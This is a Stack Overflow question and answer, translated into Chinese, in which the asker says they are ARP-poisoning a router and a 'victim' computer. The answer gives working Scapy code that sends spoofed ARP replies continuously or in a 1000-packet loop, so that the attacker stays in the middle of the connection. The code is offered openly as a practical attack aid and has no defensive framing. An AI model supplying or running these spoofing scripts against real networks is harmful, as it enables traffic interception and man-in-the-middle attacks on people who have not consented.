Python-2.7 Scapy 将数据包重新传输到目的地答案

【问题标题】：Python-2.7 Scapy retransmit packet to destinationPython-2.7 Scapy 将数据包重新传输到目的地
【发布时间】：2015-09-24 17:18:10
【问题描述】：

进行 arp 中毒，我处于 1-路由器和 2-受害计算机的连接中间。如何将数据包重新传输到目的地？（最好有scapy）我有这个：

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

【问题讨论】：

标签： python scapy arp

【解决方案1】：

查看Scapy's API documentation 提出了以下替代方案：

send 函数接受 2 个可能有用的附加参数：

loop：如果不是 0，则无休止地发送数据包。
inter：在 2 个数据包之间等待的时间（以秒为单位）。

因此，执行以下语句将在无限循环中发送数据包：
```
send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
      ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
     inter=1, loop=1)
```
sr 函数接受 3 个可能被证明有用的参数：

retry: 如果是肯定的，多少次重新发送未应答的数据包。如果是否定的，在放弃之前有多少连续未回答的探测。只有负值才是真正有用的。
timeout: 最后一个数据包发送后等待多长时间。经过默认情况下，sr 将永远等待，当用户希望没有更多答案时，必须中断 (Ctrl-C) 它。
inter：每个数据包之间的等待时间（以秒为单位）已发送。

由于发送的 ARP 数据包预计不会收到任何答复，因此使用所需值指定这些参数可以在有限循环中发送数据包，这与之前的替代方案相反，后者强制无尽的。

不利的一面是，由于资源被分配给数据包的接收和处理，这可能效率较低，但这可以忽略不计。

因此，执行以下语句将在 1000 次迭代的有限循环中发送数据包：
```
sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
    ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
   retry=999, inter=1, timeout=1)
```

【讨论】：

点击链接，发现示例为空。正常吗？（第 12-18 页）因为如果信息在这些页面中，我将无法看到它们！
我在这些页面上遇到了同样的问题。我不确定为什么。但是，可以在here 或通过简单的谷歌搜索找到示例。
感谢您的帮助！你能帮我解决这个问题吗？ stackoverflow.com/questions/32804176/…